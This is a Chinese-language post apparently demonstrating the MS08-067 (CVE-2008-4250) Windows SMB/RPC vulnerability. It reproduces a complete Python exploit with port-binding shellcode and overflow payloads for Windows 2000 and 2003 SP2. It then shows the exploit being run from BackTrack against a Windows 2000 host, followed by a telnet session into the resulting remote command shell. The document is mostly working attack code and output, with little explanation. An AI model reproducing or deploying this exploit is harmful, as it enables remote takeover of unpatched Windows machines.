python脚本溢出Windows 2000 Professional的漏洞ms08_067

脚本如下：

#!/usr/bin/env python##############################################################################   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)#   www.hackingspirits.com#   www.coffeeandsecurity.com#   Email: d3basis.m0hanty @ gmail.com#############################################################################import structimport sysfrom threading import Thread    #Thread is imported incase you would like to modify                                #the src to run against multiple targets.try:    from impacket import smb    from impacket import uuid    from impacket.dcerpc import dcerpc    from impacket.dcerpc import transportexcept ImportError, _:    print 'Install the following library to make this script work'    print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'    print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'    sys.exit(1)print '#######################################################################'print '#   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)'print '#   www.hackingspirits.com'print '#   www.coffeeandsecurity.com'print '#   Email: d3basis.m0hanty @ gmail.com'print '#######################################################################\n'#Portbind shellcode from metasploit; Binds port to TCP port 4444shellcode  = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"#Payload for Windows 2000 targetpayload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'payload_1+='\x41\x41'payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'payload_1+='\xeb\xcc'payload_1+='\x00\x00'#Payload for Windows 2003[SP2] targetpayload_2='\x41\x00\x5c\x00'payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00'payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77'payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00'payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae'payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00'payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43'payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff'payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75'payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5'payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6'payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'if sys.argv[2]=='1':    #Windows 2000 Payload    payload=payload_1    print '[-]Windows 2000 payload loaded'if sys.argv[2]=='2':    #Windows 2003[SP2] Payload    payload=payload_2    print '[-]Windows 2003[SP2] payload loaded'class SRVSVC_Exploit(Thread):    def __init__(self, target, osver, port=445):        super(SRVSVC_Exploit, self).__init__()        self.__port   = port        self.target   = target        self.osver   = osver    def __DCEPacket(self):        print '[-]Initiating connection'        self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)        self.__trans.connect()        print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target        self.__dce = self.__trans.DCERPC_class(self.__trans)        self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))                # Constructing Malicious Packet        self.__stub='\x01\x00\x00\x00'        self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'        self.__stub+=shellcode        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'        self.__stub+='\x00\x00\x00\x00'        self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'        self.__stub+=payload        self.__stub+='\x00\x00\x00\x00'        self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'        self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'        self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'        self.__stub+='\x01\x00\x00\x00'        return    def run(self):        self.__DCEPacket()        self.__dce.call(0x1f, self.__stub)   #0x1f (or 31)- NetPathCanonicalize Operation        print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...'if __name__ == '__main__':       try:               target = sys.argv[1]               osver = sys.argv[2]       except IndexError:               print '\nUsage: %s <target ip> <os version>\n' % sys.argv[0]               print 'Example: srvsvcexpl.py 192.168.1.1 2\n'               print 'Select OS Version'               print '[-]Windows 2000: OS Version = 1'               print '[-]Windows 2003[SP2]: OS Version = 2'               sys.exit(-1)current = SRVSVC_Exploit(target, osver)current.start()#print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'

目标版本：

Windows 2000 Professional

在BT5上操作如下：

root@bt:~# python ms08_067.py 192.168.1.124 1########################################################################   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)#   www.hackingspirits.com#   www.coffeeandsecurity.com#   Email: d3basis.m0hanty @ gmail.com#######################################################################[-]Windows 2000 payload loaded[-]Initiating connection[-]connected to ncacn_np:192.168.1.124[\pipe\browser][-]Exploit sent to target successfully...[1]Telnet to port 4444 on target machine...root@bt:~# 

然后telnet：

root@bt:~# telnet 192.168.1.124 4444Trying 192.168.1.124...Connected to 192.168.1.124.Escape character is '^]'.Microsoft Windows 2000 [Version 5.00.2195](C) 版权所有 1985-2000 Microsoft Corp.C:\WINDOWS\system32>cd ..cd ..C:\WINDOWS>cd ..cd ..C:\>dirdir 驱动器 C 中的卷没有标签。 卷的序列号是 00B6-0051 C:\ 的目录2013-07-07  22:21       <DIR>          Documents and Settings2013-07-07  22:17       <DIR>          Program Files2013-07-07  22:25       <DIR>          WINDOWS               0 个文件              0 字节               3 个目录  7,412,723,712 可用字节C:\>exitexitConnection closed by foreign host.root@bt:~# 

漏洞信息：

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250